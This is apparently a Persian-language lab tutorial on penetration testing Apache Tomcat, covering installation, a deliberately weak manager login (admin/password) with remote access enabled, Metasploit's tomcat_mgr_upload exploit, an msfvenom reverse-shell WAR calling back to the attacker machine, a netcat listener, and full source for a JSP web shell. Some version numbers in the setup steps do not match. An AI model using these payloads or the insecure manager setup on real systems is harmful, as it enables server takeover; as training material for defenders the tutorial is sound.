تست نفوذ Tomcat

Tomcat Penetration Testing نقش حیاتی در شناسایی آسیب‌پذیری‌های موجود در Apache Tomcat ایفا می‌کند؛ سرویسی که به‌طور گسترده به‌عنوان یک web server و servlet container در توسعه‌ی برنامه‌های تحت وب مورد استفاده قرار می‌گیرد. در ابتدا، Apache Software Foundation این پروژه را با هدف ارائه‌ی یک پلتفرم نمایشی برای فناوری‌های Java Servlet و JavaServer Pages (JSP) راه‌اندازی کرد؛ فناوری‌هایی که زیرساخت اصلی بسیاری از Java web applications را تشکیل می‌دهند. با گذشت زمان، Tomcat قابلیت‌های خود را گسترش داد تا از سایر فناوری‌های Java در بستر وب نیز پشتیبانی کند.

علاوه بر این، یکی از ویژگی‌های قابل‌توجه Tomcat، پشتیبانی آن از استقرار برنامه‌های وب از طریق فایل‌های WAR (Web Application Archive) است. این فایل‌ها تمامی مؤلفه‌های یک web application — شامل کد، صفحات و فایل‌های مرتبط — را در قالب یک بسته‌ی واحد تجمیع می‌کنند و فرایند استقرار را ساده‌تر می‌سازند. در نتیجه، Tomcat این امکان را فراهم می‌کند که کاربران فایل‌های WAR خود را upload و اجرا  کنند، و بدین‌ترتیب، برنامه‌های خود را بر بستر اینترنت میزبانی نمایند.

علاوه بر WAR files، Tomcat از استقرار مستقیم صفحات JSP نیز پشتیبانی می‌کند. JSP (JavaServer Pages) یک فناوری است که به توسعه‌دهندگان امکان می‌دهد صفحات وب دینامیک را با استفاده از Java ایجاد کنند. بنابراین، Tomcat توانایی اجرای مستقیم این صفحات JSP را دارد و همین ویژگی آن را به یک پلتفرم چندمنظوره برای hosting طیف گسترده‌ای از web applications تبدیل می‌کند.

به‌صورت پیش‌فرض، Tomcat از استفاده‌ی WAR files و صفحات JSP پشتیبانی می‌کند. با این حال، مدیران سیستم می‌توانند تنظیمات آن را پیکربندی کنند تا امنیت و کنترل بیشتری بر روی file uploads اعمال شود، که این امر به بهبود کلی امنیت server منجر می‌گردد.

معرفی Tomcat

Apache Tomcat یک open-source web server و servlet container است که توسط Apache Software Foundation توسعه داده شده است. این پلتفرم اجرای فناوری‌های Java Servlet، JavaServer Pages (JSP)، و سایر استانداردهای مرتبط با Java EE را فراهم می‌کند و به‌عنوان یکی از محبوب‌ترین انتخاب‌ها برای میزبانی و اجرای Java web applications در محیط‌های توسعه و production شناخته می‌شود. سادگی در پیکربندی، پشتیبانی از WAR deployment، و معماری سبک، آن را به گزینه‌ای محبوب در میان توسعه‌دهندگان و تیم‌های DevOps تبدیل کرده است.

کاربردهای Tomcat در امنیت

با وجود اینکه Apache Tomcat در اصل یک web server و servlet container برای اجرای Java web applications است، نقش مهمی نیز در زمینه‌ی امنیت سامانه‌های تحت وب ایفا می‌کند. مهم‌ترین کاربردهای آن در حوزه امنیت عبارت‌اند از:

  1. پیکربندی امنیتی سطح سرور (Server Hardening):
    Tomcat امکان اعمال تنظیمات امنیتی پیشرفته‌ای مانند محدود کردن دسترسی به دایرکتوری‌ها، غیرفعال‌سازی directory listing، و کنترل دقیق user permissions را فراهم می‌کند.
  2. مدیریت احراز هویت و مجوزدهی (Authentication & Authorization):
    از طریق Realms، Tomcat قابلیت اتصال به پایگاه‌های داده، LDAP یا فایل‌های محلی برای احراز هویت کاربران و کنترل دسترسی به منابع را دارد.
  3. SSL/TLS Configuration:
    Tomcat از پیکربندی امن HTTPS با استفاده از SSL/TLS پشتیبانی می‌کند و این امکان را فراهم می‌سازد که داده‌ها به‌صورت رمزنگاری‌شده بین کلاینت و سرور منتقل شوند.
  4. جلوگیری از آپلودهای مخرب (Malicious Upload Prevention):
    با تنظیم دقیق محدودیت‌ها برای file upload (مانند نوع MIME، حجم فایل، و مسیر ذخیره‌سازی)، می‌توان از Remote Code Execution یا Web Shell جلوگیری کرد.
  5. پشتیبانی از مکانیزم‌های Logging و Auditing:
    امکان فعال‌سازی access logs و error logs در Tomcat، به تیم‌های امنیتی اجازه می‌دهد فعالیت‌های مشکوک را شناسایی، تحلیل و مستندسازی کنند.
  6. محیط مناسب برای آزمایش‌های امنیتی (Security Testing Platform):
    بسیاری از تیم‌های penetration testing از نسخه‌های آسیب‌پذیر یا سفارشی‌شده‌ی Tomcat برای اجرای تست‌های نفوذ، بررسی misconfigurationها، و تحلیل vulnerability exploitation استفاده می‌کنند.

فهرست مطالب

  • مقدمه
  • راه‌اندازی آزمایشگاه
  • نصب Tomcat
  • پیکربندی
  • شناسایی و جمع‌آوری اطلاعات
  • بهره‌برداری با استفاده از Metasploit Framework
  • بهره‌برداری دستی Reverse Shell
  • بهره‌برداری دستی Web Shell
  • جمع‌بندی

راه‌اندازی آزمایشگاه

در این مقاله، قصد داریم یک Tomcat server را روی ماشین Ubuntu راه‌اندازی کرده و آسیب‌پذیری مربوط به file upload را مورد بهره‌برداری قرار دهیم. برای این منظور، دو ماشین در یک محیط شبکه محلی پیکربندی شده‌اند:

  • Target Machine: Ubuntu – آدرس IP: 192.168.1.5
  • Attacker Machine: Kali Linux – آدرس IP: 192.168.1.7

این ساختار آزمایشگاهی امکان اجرای تست‌های نفوذ واقعی در محیط کنترل‌شده را فراهم می‌سازد و برای شبیه‌سازی سناریوهای حمله و تحلیل آسیب‌پذیری، کاملاً مناسب است.

نصب

Apache Tomcat به Java وابسته است، به این معنا که باید Java JDK (Java Development Kit) بر روی سرور شما نصب شده باشد. برای نصب آن می‌توانید دستور زیر را اجرا کنید:

apt install openjdk-21-jdk

برای افزودن یک کاربر جدید با نام tomcat از دستور زیر استفاده کنید:

useradd -m -U -d /opt/tomcat -s /bin/false tomcat

در مرحله‌ی بعد، فایل فشرده‌ی tar.gz مربوط به Tomcat را از وب‌سایت رسمی دانلود کنید.

سپس، آخرین نسخه‌ی Tomcat را از وب‌سایت رسمی دانلود کرده و در سیستم Ubuntu ذخیره کنید، سپس فایل‌های دانلود شده را extract نمایید.

wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz
tar -xvf apache-tomcat-10.1.20.tar.gz

پوشه‌ی extract شده را به مسیر /opt/tomcat منتقل کرده، مالکیت (ownership) آن را به کاربر tomcat واگذار کنید و مجوز اجرا (execution permission) را برای فایل‌های binary تنظیم نمایید.

mv apache-tomcat-10.1.20/* /opt/tomcat
chown -R tomcat: /opt/tomcat
sh -c 'chmod +x /opt/tomcat/bin/*.sh '

[Unit]
Description=Apache Tomcat
After=network.target

[Service]
Type=forking

User=tomcat
Group=tomcat

Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
Environment=CATALINA_PID=/opt/tomcat/tomcat.pid
Environment=CATALINA_HOME=/opt/tomcat
Environment=CATALINA_BASE=/opt/tomcat
Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"

ExecStart=/opt/tomcat/bin/startup.sh
ExecStop=/opt/tomcat/bin/shutdown.sh

ExecReload=/bin/kill $MAINPID
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

برای اعمال تغییرات، daemon مربوط به systemd را با استفاده از دستور زیر reload کنید . همچنین، سرویس tomcat را enable کنید تا به‌صورت خودکار هنگام reboot سیستم اجرا شود. برای بررسی وضعیت (status) سرویس tomcat از دستور زیر استفاده کنید.

systemctl daemon-reload
systemctl enable --now tomcat
systemctl status tomcat

پیکربندی

پس از اتمام فرایند نصب ، نوبت به پیکربندی  سرور Tomcat می‌رسد.

برای ایجاد رمز عبور کاربر admin، تغییرات مورد نیاز را در فایل زیر اعمال کنید:

nano /opt/tomcat/conf/tomcat-users.xml

قطعه کد زیر را قبل از تگ </tomcat-users> در فایل:

<role rolename="admin-gui"/>
<role rolename="manager-gui"/>
<user username="admin" password="password" roles="admin-gui,manager-gui"/>

برای فعال‌کردن دسترسی از راه دور به بخش Tomcat Manager، تغییرات را در فایل context.xml که در دایرکتوری های زیر قرار دارد، اعمال کنید.

nano /opt/tomcat/webapps/manager/META-INF/context.xml
nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

برای فعال‌سازی کامل دسترسی راه دور (remote access) به Tomcat Manager، خط زیر را از هر دو فایل حذف کنید.

پس از اتمام تغییرات، برای اعمال تنظیمات جدید، سرویس tomcat را در Ubuntu با دستور زیر راه‌اندازی مجدد کنید:

systemctl restart tomcat

sudo netstat -tulnp | grep 8080
sudo ss -tulwn | grep 8080

همچنین می‌توانید در مرورگر خود آدرس زیر را وارد کنید:

شناسایی

پس از اتمام نصب  و پیکربندی، اکنون وارد مرحله‌ی شناسایی (enumeration) می‌شویم.

در این سناریو، از Kali Linux به‌عنوان ماشین حمله‌کننده  استفاده می‌کنیم.
شناسایی اولیه را می‌توان با ابزار nmap انجام داد.

nmap -p 8080 -sV 192.168.1.5

بهره‌برداری با استفاده از Metasploit Framework

در این مرحله ابتدا تلاش می‌کنیم از قابلیت آسیب‌پذیری  موجود بهره‌برداری کنیم، چرا که برای آسیب‌پذیری upload فایل در Tomcat، از قبل یک exploit آماده در Metasploit وجود دارد.

پس از ورود به محیط Metasploit، دستورات زیر را وارد کنید تا اکسپلویت اجرا شود:

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <target-ip>
set RPORT 8080
set HTTPUSERNAME <admin-username>
set HTTPPASSWORD <admin-password>
set TARGETURI /manager
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <attacker-ip>
set LPORT <attacker-port>
run

همان‌طور که در بالا مشاهده شد، پس از اجرای موفق اکسپلویت، یک reverse shell به دست می‌آید و مهاجم می‌تواند دستورات را از طریق meterpreter shell اجرا کند.

بهره‌برداری دستی دریافت Reverse Shell

علاوه بر استفاده از Metasploit، مهاجمان می‌توانند همین فرایند بهره‌برداری را به‌صورت دستی نیز انجام دهند.

برای این کار، اولین قدم، ساخت یک فایل .war (فایل Web Application Archive مخصوص سرویس‌های Java) با استفاده از ابزار msfvenom است.

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war

پس از ساخت فایل shell.war، مهاجم باید آن را در اپلیکیشن مدیریتی Tomcat Manager App آپلود کند.

برای دسترسی به بخش Manager App، کاربر باید Basic Authentication ارائه دهد.
معمولاً نام کاربری و رمز عبور  پیش‌فرض به صورت زیر است:

  • username: admin
  • password: password

این اعتبارنامه‌ها برای ورود به Tomcat Manager App و استفاده از رابط کاربری آن جهت آپلود فایل‌ها استفاده می‌شود.

پس از ورود به سیستم ، مهاجم می‌تواند فایل shell.war که از قبل ایجاد شده است را از طریق قابلیت WAR file deployment بارگذاری کند.

پس از انجام upload، فایل در بخش Uploaded WAR files قابل مشاهده خواهد بود.

پیش از دسترسی به فایل upload شده، یک netcat listener روی پورت ۱۲۳۴ راه‌اندازی کنید.

rlwrap nc -lvnp 1234

بر روی مسیر /shell کلیک کنید تا به فایل دسترسی یافته و reverse shell را دریافت کنید.

 

Reverse shell از طریق پورت ۱۲۳۴ دریافت می‌شود.

بهره‌برداری دستی Web Shell

برای به‌دست‌آوردن یک web shell، مهاجمان می‌توانند از یک فایل .war استفاده کنند که شامل فایل‌های .jsp باشد. پس از upload این فایل .war به سرور، دسترسی به webshell فراهم می‌شود.

به‌منظور ایجاد یک فایل .war که شامل فایل‌های .jsp باشد، لازم است که Java روی ماشین Kali Linux نصب شده باشد.

apt install openjdk-21-jdk

اکنون یک دایرکتوری به نام webshell ایجاد کنید و فایل index.jsp را درون آن قرار دهید.

mkdir webshell
cd webshell
nano index.jsp

کد زیر را در فایل index.jsp قرار دهید تا web shell ایجاد شود.

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

پ

پس از ایجاد فایل index.jsp، اکنون می‌توان با تبدیل دایرکتوری به یک فایل .war، بسته‌ی موردنظر را ایجاد کرد.

jar -cvf ../webshell.war *

پس از ایجاد فایل webshell.war، آن را از طریق بخش deploy در Tomcat Manager بارگذاری کنید.

صفحه‌ی index.jsp درون دایرکتوری webshell که بارگذاری شده است، قابل دسترسی است و به این ترتیب webshell فعال می‌شود.

روش جایگزین برای انجام بهره‌برداری دستی فوق، دانلود فایل cmd.jsp و ساخت فایل webshell.war با استفاده از ابزار zip است.

فایل webshell jsp را می‌توان از این آدرس دانلود کرد.

سپس، پس از دانلود فایل cmd.jsp، می‌توان با استفاده از دستور زیر فایل revshell.war را ایجاد کرد:

zip -r revshell.war cmd.jsp

دوباره، با تکرار همان روندی که پیش‌تر توضیح داده شد، پس از upload فایل revshell.war از طریق قابلیت deploy، می‌توان با دسترسی به آدرس زیر، web shell را به‌دست آورد:

http://192.168.1.5:8080/revshell/cmd.jsp

جمع‌بندی

در اصل، Apache Tomcat همچنان به‌عنوان یکی از گزینه‌های محبوب برای deploy برنامه‌های وب مبتنی بر Java باقی مانده است و ترکیبی از انعطاف‌پذیری و امنیت را ارائه می‌دهد که پاسخگوی نیازهای متنوع توسعه‌دهندگان و مدیران سیستم است. با این حال، به دلیل misconfigurationها، مهاجمان قادر خواهند بود از آن سوءاستفاده کرده و اقدامات ناخواسته‌ای مانند Remote Code Execution را انجام دهند.

 

 

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا